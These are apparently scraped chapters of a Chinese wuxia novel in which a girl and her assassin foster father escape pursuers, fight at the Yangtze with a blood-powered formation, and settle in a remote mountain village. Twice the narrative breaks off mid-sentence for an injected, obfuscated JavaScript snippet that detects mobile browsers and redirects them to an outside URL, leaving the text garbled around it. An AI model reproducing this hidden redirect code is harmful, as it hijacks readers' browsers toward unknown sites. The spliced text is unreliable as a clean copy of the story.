可惜正中铜环上挂了一把锁,她也从来没见过吴界打开它,箱子约有一尺见方,白羽走过去试探着抱起来,略微有点分量,但不是很重,看来黄白之物可以排除,那到底是什么呢? 前半夜一直平顺,马车上悬了两盏灯,走夜路也赶不了快车,凌晨的时候马车来到水府地界,之后如果一路顺利,将会从大庸过恭州,然后经过恭州入蜀,在蜀地安居。 水府是一座小城,大大小小的水泊连片。 凌晨城门未开,吴界赶了一夜车,他想着先把车停在路边隐蔽处休息一会儿,等城门开了再过城去下一个地点。 “念儿,你睡了吗?”吴界问白羽。 白羽掀开车帘,寒夜冷气扑面而来,吴界头脸裹得严实坐在车辕上回头看她,白羽视线穿过他看向前方,眼神巡索一番问:“我们到了吗?” “还没有,前面就是水府,现在进不了城,我们等天亮了再进城,补充一些物资就去下一个落脚点。”吴界从她手上摘下帘子,自己也进了车厢,劝说道:“先进来吧,外面冷。” 白羽依言进来坐好,吴界把木箱往角落里推了推,用棉被盖住他们俩的腿,问白羽:“饿了吗?” 白羽摇摇头。 吴界从怀中掏出一个油纸包,小心翼翼沿着折痕打开,里面躺着几块尚且还算完整的栗子糕,不过大多数已成零零散散的碎块了,正是白羽在临安城吃的那家,吴界往白羽面前递,有些可惜地说:“保存得再小心还是碎了,念儿先将就吃点吧,进了城我们再找地方吃饭。” 白羽惊奇地睁大了眼睛,她没想到这包栗子糕他还留着,她以为早就在被追杀中搞丢了,因为她都把灯笼扔了,原本不想吃的,闻到那股清甜的栗子香,却来了食欲,鬼使神差捏起一块放进嘴里,细细品尝,虽然没有刚出炉的好吃,但仍然是一种美味。 “你也吃啊。”白羽说。 吴界让她拿着糕点,又从怀中掏出用身体保温的水囊送到白羽嘴边,轻柔的笑,说:“爹不饿,你吃吧。” 白羽不信,距离他们上次进食已经快六个时辰了,吴界又不是铁打的人不会饿,她捏一块最完整的栗子糕喂给他,眼神执着,令他不能拒绝。 吴界无奈地笑着,眼看就要张嘴接住,白羽却突然听到了破空之声,这声音她很熟悉,上一世被刺杀那次,对方就是箭羽先行“投石问路”。 吴界比她动作还快。 他在听到不同寻常的动静那瞬间,背起木箱和包袱,抱着白羽顺势滚下车,身后的车厢顿时多了几支穿透力极强的箭。 吴界盯着那支力道非凡、尾羽仍在震颤不休的箭矢目露精光。 下一刻,从林中窜出四个着装统一、手持刀剑的青年男子,从四角包围了他们。 吴界不动声色地将怀里人换了一个方向抱在身前,轻声交代:“抱紧爹。”随后从车厢夹缝中抽出一柄重剑,连招呼都不打,直接开战。 白羽视线还停留在从马车到地上撒了一路的栗子糕碎屑上,心中可惜吴界最后还是没能吃到那块糕点,人却已经被他带入战圈,游走在刀光剑影里。 上次被追,吴界和认出他的那个人都没有带武器,两人比的是轻身功夫,吴界略胜一筹。这次却不同,这些人各个持有趁手兵器,武功看起来也非寻常,又是四对一,吴界还带着她这个“拖油瓶”,白羽替他捏了把汗。 只见吴界抱着她婉转周旋于四人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780782|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包围圈中,持刀的那两人专司劈砍从外围攻,每一道刀风都带着十成十的力道,另外两个使剑的则与吴界近身战在一起,即使是这么严密的攻势,吴界看起来仍然不落下风,他重剑使得娴熟,一推一挡、一刺一挑间,轻飘飘将几人攻势都化解开。 许是知道这样下去拿不下他,战圈暂时分开,领头的那人开始说话:“随春风,你敢假死叛逃,我们奉长风主之命将你清除,还不速速受死!” “啰嗦!”吴界看着这四个所谓长风无影阁的中坚力量,以一种脱离苦海的心态回看仍然执迷不悟、挣扎其间的人,嘲讽道:“就凭你们也想杀我?说大话也不会让你的剑更快,何必呢。” 几个人对视一眼,一时都有些战战兢兢的。 随春风几乎是整个长风无影阁的不败神话,他们这些入阁晚的可以说是听着他的战绩成长起来的。五年前,不知道他怎么突然就死了,五年后他们又收到他还活着的消息,冷镰风大人的消息一传回来,长风主当即震怒,立刻派出人手追杀,命令是:就地格杀,死要见尸! “你别太得意!”那人又壮起胆子,大放厥词:“冷大人就在后面,等他带着人来了,今日就是你的祭日!” 冷镰风! 方才那道暗箭就很有他的风格。 吴界不敢再耽搁,那人武功和他不相上下,真碰上了想要毫发无伤地走,很有难度,他率先出招,挥剑刺向对面的人,同时飞踢一腿,打掉右后方砍来的刀锋。 转瞬间,对面四人都不同程度挂了彩。 眼看着不占优势,他们却发现随春风对怀里的女童护得紧,于是一转攻势,两人掩护,一人全力和随春风对打,另一人找准机会对他怀里的女童下手。 “尔敢!”吴界大喝一声,看出他们的意图,顿时怒气陡生,手中剑锋更加凌厉。 白羽无奈,只能抱紧吴界的脖子,尽量缩小自己的存在感,同时思考能不能用阵法?但是看场中情况,这几人明显也不是吴界的对手,只是因为人多,加之吴界又被她绊住手脚才缠斗这么长时间,这种情况用阵法不至于,只要给点时间,这几人不足为惧。 况且用了阵法,她也没想好怎么解释,这里又没有另一个牡丹给她当挡箭牌,左思右想过后,白羽收回了欲布阵法的手,重新搂住吴界脖子。 半刻后,吴界身形如鬼魅一般跃起,转瞬间移至仅剩一人身后,干净利落地将他抹了脖子,又迅速飞身退开,避免喉管中喷出来的鲜血溅在他和白羽身上。 耳边没有了打斗声,白羽才缓缓睁开眼睛。 方才吴界暴起杀人的时候突然出声让她闭上眼睛,虽然她眼睛在吴界背后,他也看不见她到底闭没闭眼,而且她也不是没见过死人,但还是依言闭上了。 此刻睁开眼睛,四人姿势各异躺在吴界脚边,鲜血在暗夜中呈现黝黑的色泽,像是大片大片泼洒的墨水,雪落下来了。 吴界抱着她转身,低声道:“念儿,别看。” 车是不能要了,行李都背在身上,吴界也没放下白羽,解了马直接骑上,随后弃车奔入山林中。 他们走后没多久,一个黑衣男子带着一群人循声而来,他蹲下身检查死去人脖颈上的伤口,是熟悉的招式,抬眼看不远处有一辆脱离了马的车架子。 鲜血尚未流干,人肯定还没走远,他一挥手,属下立刻分散进入山中搜查,他在原地站了一会,选了一个方向也进了山中。 四下俱静,只有黎明前不知名的夜虫在忘我地鸣叫,一只飞鸟扑棱棱从树枝上掠起,本应该已经走远的白羽和吴界从一处矮坡下翻上来,马却不在他们身边。 吴界回望刚才那黑衣人站过的地方,冷漠地移回视线向城门口行进。 接下来几天,他们有惊无险地在长风阁众人搜查下入了大庸地界。 转眼就快除夕了,这些人跟恶狗游魂似的纠缠不休,令人烦不胜烦。 这天傍晚,吴界带着白羽在大庸城中寻了一处隐蔽住所过除夕。饭菜虽然简单,但是是吴界亲手做的,白羽知道这几日奔波不休,她有些清减憔悴,吴界很担心,于是非常给面子地吃了不少东西。 父女俩在满城烟花爆竹声中,于尚有片瓦可遮身的简陋民房中,欢欢喜喜地迎来了新岁。 白羽给吴界拜了年,收到一张装有百两银票的红封压岁,逃亡的这几天她修正了此前自己的谬误,吴界哪里是贫穷啊!她真是有眼无珠,只能含泪枕着百银红封入睡,一睁眼就是大年初一。 这两天消停了点,白羽跟吴界感慨,就算是杀手刺客也得过除夕过大年吧。吴界不似她这么乐观,他深知那些人的疯狂,早就没了人性,怎么会安安心心等过年,这几天消停恐怕是因为又在计划如何诡秘的清绞策略。 不到蜀地还是不能松懈,过完初一,白羽又和吴界踏上了下一步逃亡路。 31. 开大 大年初二,午饭过后,吴界赶了一辆马车回来,同时带回来一些乔装改扮的衣服,他们这次出行需要伪装一下。 他给白羽的头发全都梳起来,用发带束在头顶,再穿上一身男童子的衣服,眉眼用炭笔略微描粗,在不改变五官模子的情况下,活脱脱就是一个眉目清秀的小男童。 他自己贴上一张人皮面具,鬓角的发丝用特殊染液染成白色,混在一起看着有些上年纪,面具一贴摇身一变,变成了一个五十来岁的中老年男子,他拿出一套做工没那么好的褐色粗布夹袄套上,两人就变成了外出游玩的小公子和赶车的车夫。 换装完毕,吴界把箱子和他们随身的包袱放进车里,又把白羽抱上车,随后坐上车辕赶车出发。 大庸地处崇山峻岭之中,四周丛生高大平直、棱角分明的石柱林,吴界赶车从西门出城,一路上春节的喜气仍未消散,时不时有小孩扔出一两支炮竹,吓得马儿受惊,吴界只能一边控车一边驱赶顽皮的孩童。 白羽掀开窗帘看出去,那些孩子就跑远了。 从大庸至恭州,这一路上起码要走两三天,会遭遇排查的关口无数,天寒地冻,白羽希望那些人不要再阴魂不散地跟着他们了。 夜间他们在离大庸数百里外一个县城中过夜,白羽许是白日里冷着了,吃完晚饭就有些发热,她自己觉得还好,吴界却非要带她找郎中看看。 小孩子发热,不能等闲视之。 客栈掌柜指引他们去县城中唯一一家药铺,吴界去的时候,药铺掌柜正在给人抓药,听他们说是有个小孩发热,给那人抓完药后,走过来给白羽看诊。 看过后他说问题不大,抓了两副驱寒的药让他们回去煎了喝。 第二天早上,白羽喝了药就好多了,但是仍然没精神,一整天都待在马车上昏昏欲睡,吴界中途又叫醒她喝了一次药。 夜间,他们已经进入恭州地界,到达长江边上,等明日一早坐船渡江,就能从恭州出发入蜀,此行的目的算是达到了。 吃过晚饭后,白羽又开始烧起来了,吴界一夜未合眼地守在床边照顾她喝药退烧。 天亮后,白羽从昏睡中醒来,整个人没什么精神,睁眼就看到吴界靠坐在床边,看她醒来先用手去探她额上温度,又试了下自己的温度,皱眉说道:“还是有点热,今天就在这里歇着,等你好了我们再出发。” 白羽摇头,那些人已经四天没有出现了,他们只要稍稍停留就有被追上的可能,“没关系,我感觉已经好多了,反正在这里歇着也是睡觉,在车上也是睡觉,还是早点到蜀地的好,今天就走吧。” 吴界拗不过白羽,吃过饭后看她脸色确实好多了,这才收拾行李准备出发。 车内铺了两床厚厚的棉被,被子下面还塞了两个汤婆子,白羽躺进去就觉得温暖,吴界车也不敢赶得太急,白羽在车行中又睡了过去。 等她醒来,马车已经到了长江边上。 冬日里迎面吹过来的江风是冰冷的,江面上也几乎没有什么船行,也是,如今年还没过完呢,只有他们被逼的到处奔逃。 吴界察觉到白羽醒了,告诉她被子下面有水囊,在汤婆子旁边放着,应该还有温度,让她喝点水吃点东西。 白羽依言喝了点水,感觉嗓子里的干哑缓和了一些。 正想问吴界他们怎么渡江时,那种熟悉的危险的感觉又来了,马车停在一片空地上,周围的林叶衬出一片铁青的色泽,马匹不安地刨刨蹄子。 吴界从车上下来,正色看向不远处的斗笠男子,他这次带的人多,足足有二三十个好手,从四周已将他们的马车层层包围。 “怎么了,他们来了吗?”白羽问。 “念儿,别出来。”吴界察觉到白羽想掀车帘,连忙阻拦她。 今日这场恶战不可避免,光是冷镰风一个就够他应付了,更别说他还带了这么多人,吴界的心开始缓缓下沉,倘若今日命丧于此,他得想办法让念儿平安活下去。 他们还在伪装中,吴界稳稳心神,扬声道:“几位好汉这是什么意思,我拉我们家小公子去恭州拜见亲长,为何拦住去路!” 冷镰风一瞥手下,那人出列拱手低声道:“回大人,花溪县那个药铺老板确实说有个三十多岁的男人带着一个四五岁的女娃在他们那看过病,属下寻其踪迹是往恭州来了。” 冷镰风一摆手那人退了下去,他抬头看着不远处马车旁那佝偻着肩背的半白头男人,脸上皱纹丛生,和随春风没有半点相似之处,他还是本着谨慎的原则查问道:“你家公子是哪方人士?这大正月的,为何要出远门?” 吴界垂手俯身,显得越发谨小慎微。 “回大人,我家公子是大庸莲城古家人,自幼身子虚弱,于是认了恭州和县司马大人为干亲,时常走动,年节下本应去拜见,是以今日才抵达恭州地界。” 冷镰风若有似无地“嗯”了一声,手下自有熟悉各州人口的立刻上前来报。确认他说的都是事实,冷镰风又问:“你家公子呢?让他出来看看,若无疑就放你们走。” 吴界乔装改扮也不是无的放矢,自然是准备了万全之策,他恳求道:“我家公子身子实在虚弱,不能长时间吹冷风,还请各位大人看过之后为我们放行。” 他说完回身低声诱哄那马车中的“体虚公子”出来相见。 白羽听见后,挑起车帘探身出来,冷风一灌,她不受控制地掩唇低咳,看着是四五岁的年纪,身形却瘦弱,倒活像是吴界胡诌的古家公子形象。 冷镰风目力极好,但他一时也看不出这一切究竟是真是假,这二人的确不是他们要找的人,未免再耽误时间,他抬手放行。 白羽和吴界如蒙大赦,千恩万谢过后上车启程。 马车从冷镰风面前经过,吴界屏息凝神,白羽在车里大气不敢喘,终是有惊无险地踏上后面的路。 “不对!快追!”冷镰风本来已经带人走向另一条去往恭州的路,半路上突然想起什么,大喝一声调转方向去追方才那老仆和小公子的马车。 走出长风阁众人视线范围后,吴界将马车赶得飞快,只来得及匆忙叮嘱一声车内的白羽,“念儿,坐稳了!” 他们来到渡口旁,有两艘船停在岸边。 吴界背起箱子抱着白羽就往船上跑,身后冷镰风等人已经追来了。 “随春风!哪里跑!!”冷镰风大喝一声。 那船家一看情形不对,立马解开拴着船的绳索,开船就跑,独留他们两波人在岸上面面相觑。 白羽嘴角抽搐地看着船走远,心道这船夫十分有眼力界儿,在乱世里肯定能活很久吧。 她回头看到那斗笠男已经站到了他们十步之外的地方,白羽低声问吴界:“他很能打吗?你打得过他吗?” “这人名叫冷镰风,在长风无影阁中和我齐名,武器是一把索命弯镰,他的镰风角度极其刁钻难缠。我们俩很少交手,只有十年前比过一场,那一场我侥幸险胜,如今再战,谁输谁赢不一定。” 他们俩在这小声议论,冷镰风却是等得不耐烦了,他出言打断道:“随春风,果然是你。” 既然被人认出来了,吴界也不必再伪装了,他扯掉脸上面具后,清凌凌的眉眼展露出来,问道:“你是怎么认出来的?” “恕我眼拙。”冷镰风来回踱步,笑了两声道:“你的乔装和说辞几乎没有破绽,但你万万算不到我突然想起你执行过一次刺杀古家掌权者的任务,那次任务过后我私底下去探查了,古家那个大公子并没有死。” “你倒是一条好狗。”吴界出言讽刺他。 冷镰风听了也不生气,依旧好声好气地说话,他看向吴界怀里的小孩,试探道:“这就是你假死叛逃组织的理由?一个五岁的小女孩——是你的女儿吗?” 吴界把白羽的头压回去,不让冷镰风看到她的脸,耐心耗尽了一般道:“要打便打,要杀便杀,我没空跟你掰扯这些琐事。” “别生气嘛。”冷镰风也知道这女娃估计是他的底线,闻言不再探究,好言相劝道:“虽然你假死叛离组织做的不厚道,但是阁主也不是非要你死,只要你跟我回去把五年前执行的那个任务得到的消息说清楚,阁主会既往不咎,你的女儿也能平安长大,你意下如何?” 五年前的消息? 什么消息?是吴界说他执行任务时意外得知了一个机密的消息吗? 白羽听到这儿突然集中起注意力,她的直觉告诉她,这个秘密很可能和她父母惹怒皇权被满门抄斩有关系。可惜长风无影阁这些人似乎也不知道,吴界又不肯说,想得知真相遥遥无期。 “少说废话!冷镰风,我劝你最好别那么卖命,否则最后怎么死的都不知道。”吴界重剑出鞘,摆出起手式开打。 冷镰风从腰间抽出他的精铁弯镰,身后众人欲上前围剿吴界父女二人,冷镰风一抬手让他们止步,他对吴界说:“今日你我二人在此比过,你胜我放你走,我胜,我抓你回去交差。” “你要跟我比武?我若走了,你回去怎么交差?”吴界横眉问他。 “这你不用管,那是我的事。”冷镰风紧盯着吴界,“何况你如何敢保证能胜过如今的我。随春风,你敢不敢应战?” 他都这么说了,吴界回身放下白羽,示意她走远一点,然后贴在她耳边小声说:“我没有自信能赢过他,你等会儿看情况,我若是落下风,你就伺机逃走,去恭州和县找一个叫司马虔东的人,他受过我大恩,报我的名字,他会将你抚养长大。” 白羽双手还搂着吴界脖子没放开,不知道他怎么就说到临终之言了,“你……” “念儿,”吴界掰开她的胳膊,深深看了她一眼,沉声道:“好好长大,忘了爹。” 白羽的手一脱离吴界肩膀,他就转头向冷镰风走去,那背影看起来十成十的“壮士断腕”之悲。 白羽好笑,她不会让他死的。 “开始吧。”吴界重剑出鞘。 冷镰风抬手示意手下退远一些,然后抽出弯镰和吴界战在一起。 那边打得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780783|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热火朝天,白羽站在一棵树下观察地形,此处紧挨长江天险,近水,其他不论,布水阵确有事半功倍的效果。 水边草木尚未凋零,来往车辆碾出的碎石也多,都能化为己用,可布水天失色阵,既然吴界说冷镰风成名绝技是弯镰刀风,那只有大开大合的重剑锋芒可与之匹敌,很巧吴界就是使重剑的。 水天失色阵需要阵引,白羽寻摸半天,最终确定了渡口那尾旌旗作为阵引,只是可惜又要放血了。 吴界和冷镰风交手才知道他实力莫测,两人难分伯仲,长风阁的人注意力都被两大高手对决吸引过去,没人去注意一个小女娃在做什么,偶尔有一两个人看到白羽在江边捡石头,也只会觉得她莫名其妙,或者觉得她没心没肺,亲爹都跟人打起来了,她还有心情垒石头。 因此倒是方便了白羽做布阵前的准备工作,阵引和阵眼设好,白羽从怀里掏出方才吴界匆忙间塞给她的一把匕首。 匕首刚拔出来就透着一股森森寒意。 白羽咬着牙往自己手腕上比划了一下,闭眼下刀,鲜红的血液顺着刀口倾泻而出,寒气沿着有了缺口的血脉逆流而上,直达心口,白羽惧寒地打了一个冷颤。 她将血按照三步间两步的规律在周围滴上,最后江边渡口,又一狠心再划一刀,大股的血汇入江水中,水面泛出红色,很快又被稀释殆尽。 等到血量差不多的时候,白羽立刻掐住自己的穴位止血。 失血过多,真的很冷。 一切就绪,只差给吴界信号,然后起阵,就能让这些人全部葬在这里。 她重新走到那棵树下站定,冷眼瞧过去,吴界和冷镰风战况焦灼,一时分不出高下,他的镰风角度从何处劈来,吴界仿佛能精准预测一般,吴界的剑锋往哪里刺,冷镰风也能矮身避开,两人仿佛天生的对手,谁也奈何不得谁。 打到最后,两人都用上了内力,倒转腾挪,头顶树叶沙沙作响,白羽也被那气劲逼得喉中涌上腥甜。 变故就在刹那之间起。 长风无影阁的人自然是肯上进的,有的人太想上进了。 人群中有一个窄面黑衣男子眼看着冷镰风不占上风,再打下去恐怕会被随春风反制,到时候放跑了随春风,冷镰风大人回去最多被批办事不力,他们这些小喽啰,长风主就不会稀罕了。 于是他振臂一呼:“各位兄弟,我们去抓了那个女娃给冷大人助阵,随春风肯定会被影响心神,届时冷大人抓住随春风的破绽就能将他们一网打尽!” 一呼百应,二三十号人越过正在比拼内力的两个人向白羽杀来。 其实这人低估了冷镰风的实力,起码吴界就应付得很艰难,只不过是随春风的名号太响,积威已久,让这些人不攻自破。 “尔敢!”吴界正在和冷镰风对掌,内力涌动之下,他们谁也不敢轻举妄动,他目眦欲裂地冲冷镰风吼道:“冷镰风,管好你的狗!” “回来!都给我回来!不许动!”冷镰风再吼也无济于事。 来得正是时候。 白羽低声默念起阵术语:“万象花开,紫云具来,石生杌木,水自平开,水天失色阵!起——” 她一边念咒一边思考,得想个办法把吴界引出战圈,否则阵一旦开启他就出不来了。 什么办法好呢? 白羽眼睛一亮,大喊道:“吴界!爹!救我!” 万般声音作响,耳边内力“滋滋”嗡鸣,明明能将一切杂音屏蔽在外,吴界还是从这虚空中清晰地捕捉到白羽的一声“爹”。 这声呼唤足以让吴界不顾放弃战局,收回内力会让他得到什么后果了,他听到叫声后头也不回地离开和冷镰风的对掌,口中喷血,身影却没有丝毫凝滞地飞向白羽。 冷镰风看他的背影跟看鬼一样。 吴界同时在空中推出一掌,将长风无影阁那些乌合之众推进阵圈。 白羽没想到他还有这手,简直如有神助一般让她的阵法效用最大化。 吴界来到白羽身边,一把将她抱了起来,白羽迅速交代道:“爹,我们快走。” 他们刚跑出十步,阵法启动,冷镰风和他手下人全部被锁入阵法之中,阵中任何一个元素都能对人体进行穿刺,水化为利剑、乱石飞舞、寒风肆虐、飞花拈叶皆可伤人。 一时间,阵中是何情形也让人看不清楚。 吴界嘴角挂血,结结巴巴道:“这……是你做的?” “别管了,快走吧。”白羽避重就轻,“我们还是去恭州入蜀吗?” 吴界这才发现她手腕上好深两个刀伤,连忙点住穴位,用衣袖里衬先给她随意包扎一下,摇头道:“不能再去恭州了,冷镰风已经摸清了我们的行动轨迹,不会只有他们追来,后面肯定还有别的队伍,我们要尽快偏离这个路线。” 恭州去不得,北边是朝廷势力,吴界只能带着白羽南下。 白羽病还没好又添新伤,他又受了很重的内伤,路上又遇到另一波追杀,被逼无奈之下遁入了贵州十万大山中。 32. 安居 棣桉村,地处贵州深山的一个小村落,这里民风淳朴,甚至尚未开化。 白羽是三天前和吴界来到棣桉村的,当时他们两人满身是血地倒在一户人家门口,吴界死死护着怀中的白羽不撒手。据救他们的人说当时她高烧昏迷,身上烧得像滚烫的碳,而吴界衣衫褴褛,肉眼可见的满身刀伤,昏过去之前只说了一句:“救她!” 没人知道他们经历了什么,村里人连忙叫来巫医给他们看病。 白羽退烧后就醒了,她睁眼看到一群形貌怪异的……原始人?他们“叽里咕噜”的话她也听不懂,最后连比划带猜地知道是说,她醒了,让她起来喝药。 白羽又比划跟她一起的那个高个男子呢? 比较难懂,说了好几遍才知道吴界在隔壁屋里躺着,他的情况危险,一直高热不退,药也喂不进去,可能快死了。 白羽一听这还得了,掀开被子就要往隔壁跑。 她也没什么力气,头晕眼花地来到隔壁房间,吴界躺在床上,眼睛闭得紧紧的,没有丝毫要醒的迹象,白羽伸手去摸他的头,果然烫手,床边有一个大娘在照顾他,时时用布巾为他冰敷额头,旁边矮几上有一碗还冒着热气的汤药。 她急匆匆冲过来,那大娘对她说话,白羽大概猜出意思是,这人是你爹吧?他病得太重了,一直发热,药也喝不进去,大夫没辙了。 白羽点点头,谢过她费心照顾吴界,又说自己来吧。 于是她接过大娘手中要替换的湿布巾,在一旁的水盆里浸湿,拧成半干后换下吴界额头上那片。 大娘看她做得有模有样,这才放心离开了。 入夜后,救他们的这户人家带了大夫来给吴界看病,白天白羽一直试图给吴界喂药,但是真的喂不进去,他似乎已经不会吞咽了,药汁进了唇齿间又顺着嘴角流出,一滴也喝不进去。 白羽跟几个当地人打过交道,多少能猜出他们话里的意思,这个大夫的医术应该是当地人都比较推崇的。 他掀开吴界的眼皮看了又看,又捏开嘴巴看他的喉咙,最后扒开包扎好的伤口,他下结论一般摇了摇头,意思是这人没救了。 白羽一下子就慌了。 吴界要死了,这真的不是小事。 人在异乡,语言不通,白羽上前扒住那大夫的衣袖,低声哀求道:“我知道您是很厉害的大夫,求您救救他,他很厉害的,内功深厚,不会轻易这么死掉,救救他吧。” 大夫虽然不知道她说了一串什么话,但他见多了这样的场景,多少也知道意思,告诉白羽病人已经生机微弱了,让她做好心理准备,可能就是这两天的事了。 之后又跟主家人说了什么,白羽完全没心思听,她站在床边,看着吴界全无血色的脸,却不知道用什么办法留住他。 晚上她一直待在这个房间不走,主家人劝过后也可怜她,想让她跟将要去世的爹多待一会,渐渐地也就没人再来打搅。 周围安静下来,只有屋中灯烛燃烧时偶尔爆发出的灯花声,白羽学着那个大夫也撑开吴界的眼皮瞧,那双每个世界几乎如出一辙的浅蓝瞳色光泽似乎暗淡了不少,象征着主人即将消逝的生命。 白羽开始絮絮叨叨地说话:“吴界,你死了,我要是再被冷镰风捉住,你走得放心吗?” “我们当时被另一波人追杀,慌不择路下跑到了这深山的村庄里,这里的人说的话我一句也听不懂,你要是死了,我被人欺负被卖了,你走得放心吗?” “还有你费尽心思隐瞒我的身世,隐藏你发现的那个惊天机密,你要是死了,他们再找上我,我什么都不知道,你走得放心吗?” 白羽一句接一句诘问,床上的人仍旧一动不动。 过了很久,白羽突然说:“其实我知道我父母是怎么死的。他们是因为你所知道的那个机密得罪了皇权,被皇帝满门抄斩的,对不对?”白羽慢悠悠地说:“你说,我的身份应该是罪臣之女了,如果皇帝知道我还活着,他会不会派人抓我,将我也杀了灭口?” 吴界没反应。 白羽突然叫喊:“吴界,爹!皇帝派人来抓我了,他要杀了我!爹,救我!” 白羽自导自演结束,奇迹发生。原本没有任何动静的人豁然睁开了双眼,他看着上方惊讶睁圆了眼睛的白羽,咧开干裂的嘴皮无声笑道:“念儿,你又在诈我。” 声音是气虚低弱的,但却是实实在在醒过来了。 白羽一时激动,语塞道:“你,你醒了?” 吴界把手从被子里拿出来,艰难地抬起来从白羽脸上滑下去,嗓音轻柔地说:“念儿,别哭。爹没事了,吓到你了。” 事出突然,人在一惊一喜之间,白羽竟然没发觉自己已是泪流满面,她胡乱用袖子抹干净眼泪,“你等着,我去帮你叫大夫。” 入夜已深,主家夫妻俩已经脱衣睡下,白羽拍门把人叫醒,连说带比划才让他们听懂。 两人不敢相信,巫医都已经宣判死亡的人还能活过来,这大叔连忙穿好衣服就出门去找巫医了,大娘跟着白羽来到吴界客居的房间。 一进门,床上躺了好几天的人果然眼睛是睁着的,听到声音就望过来。 大娘也很替白羽高兴,叽里咕噜又说了很多话,吴界确实没听懂,他知道是这家人救了他和白羽,他对大娘感激地笑,说了很多感谢的话,经由白羽翻译,两边也是暂时互通了音信。 很快,大叔就带着大夫回来了。 大夫给吴界又把脉又询问过后,也很惊奇地说,这人没事了,接下来只要好好喝药,好好修养就能恢复。 听到这个结论,白羽和主家夫妻俩都很欢喜。 接下来的日子,白羽和吴界入乡随俗,也在积极学习这里的语言,整个正月就在养病和学说话中度过了。 进入二月,天气回暖,白羽这几日一直在琢磨着该怎么给吴界洗个头,他前几天就说头有些痒了。吴界身上伤已经结痂,虽说还不能下床,但是躺着让人沐发还是可以的,她准备了槿树叶,请大娘帮忙烧好了一锅热水,正准备去告诉他,就听吴界在屋子里喊她进去。 “找我什么事啊?”白羽进门后问道。 “过来坐。”吴界拍拍床边位置,看她依言坐下,才缓声说:“念儿,爹一直没问你那日在恭州江边上是怎么把冷镰风等人困在那里的?我看着像是阵法,你怎么会这个的?” 白羽一听他问这个,有瞬间的错愕划过眼眶。 全因上一世,彼时身为贺六的吴界,他一直知道她和牡丹的身份来历不明,她会的那些符篆和阵法也是个谜,但他一直没问过,白羽也就心照不宣不解释。此时与贺六换了个身份的吴界反倒是会主动问起,不过白羽也不慌就是了。 她看着吴界说:“这是我的秘密,你确定想要知道?” “当然。” “想知道也不是不可以,但是你想知道我的秘密就要用自己的秘密来交换。”白羽狡黠一笑,看着吴界的眼睛说:“让我想想,你身上的秘密中我想知道的只有两个,一个是你当年执行任务时知道了什么担心被灭口的机密,另一个就是我父母的身份,我的身世问题了。用哪个和我交换,你自己选吧。” 吴界沉默半晌,脸上神情变幻不断,他突然泄气一般道:“算了,我也不想知道,你出去吧。” “真不想知道了?”白羽看吴界没吭声,就知道用这个套消息的办法失败了,她双脚跳下床榻后起身往外走,走到一半回头对吴界说:“对了,我准备了热水和槿树叶,你可以沐发了,等会我帮你洗。” 白羽的身影消失在屋内,吴界才收回眼神,他靠坐在床头,视线落在粗布被面上,半晌,什么都没说,闭上了眼睛。 又过了半个月,吴界身上的伤彻底好全了,他的内伤极其严重,但因为内力深厚,也在慢慢恢复中,他和白羽郑重地向主家夫妻二人和巫医道过谢。 这里的人极其淳朴善良,说什么都不收吴界给的谢礼——一张五百两的银票。 吴界无奈地和白羽对视一眼,只能在日后一一报答他们的救命之恩了。是的,他们已经打算在这里住下了。 既然当初就决定哪里安全就在那里落脚,如今有这十万大山做屏障,长风无影阁的人一时半会肯定找不到他们,暂且能安稳多久是多久吧。 白羽和吴界现如今当地话再也不是刚来时听不懂的状态了,如今他们能流畅地和村里人聊天打交道,除了长相不同,话说出口几乎没什么分别。 村中房屋几乎都是竹楼或者木楼,当地气候潮湿,房屋地基如果直接建在地上,既不防潮又很容易被水汽侵蚀。因此,这里的房屋都是建在第二层,离地面近的那层中空,可以用来养牲畜或者放杂物,二楼才是住人的地方。 白羽跟着吴界在村中选址,这里没那么多规矩,大家都是看中哪片地去跟长老们说一声,村里就做主把这块地分给你,白羽选中村东头一片靠近果园的空地,那里引了一条小溪,青山绿水,十分宜人。 吴界没什么问题,白羽喜欢哪儿就是哪儿,住这里唯一的缺点就是周围人烟稀少,唯一的优点也是这个。 他把选址汇报给长老后,没费多少波折就拿到了这块地,当初救他们父女的主家人夫妻都姓马,马大哥使人来帮忙给吴界建房子。 大家齐心协力,白羽和吴界仅用半个月就住进了新屋。 等一切都安置妥当,时间进入了四月。 四月暮雨潇潇,白羽安心在棣桉村住了下来,村里没有学堂,大家也不与外界沟通往来,这个如同“桃花源”一般的神秘村落里,孩子们学的是如何种地、如何织布、如何酿酒…… 白羽不想学这些,也不用每日跟王夫子读书了,原以为能闲下来研究研究阵法,但是吴界让她闲不了一点。 他不知道从哪里搞来了文房四宝和一些书籍,仿佛立志要把白羽培养成“文武双全”的人才一般。 如今白羽上午读书练字,下午扎马步打拳练内功心法,晚上睡前还要打坐重温。 不练不行,吴界是真的会打孩子。 就这么练着练着,白羽在棣桉村平安度过了两年时间。 在她七岁这年春夏交替之时,白羽被吴界宣布,她的武功毫无寸进,每日必须再加练一个时辰。 简直惨无人道! 她根本不是练武那块料,吴界教给她的内功心法,她根本悟不到窍门,出拳总是被批评没力度,耍剑就是花拳绣腿,唯一值得称道的是她的字练得不错,当初被王夫子评为“鬼画符”的字迹,如今清秀端庄,已经颇有风骨。 白羽眼见吴界一边看着自己的字,一边看着她练了两年的功法,露出一副家门不幸的悲剧脸,她 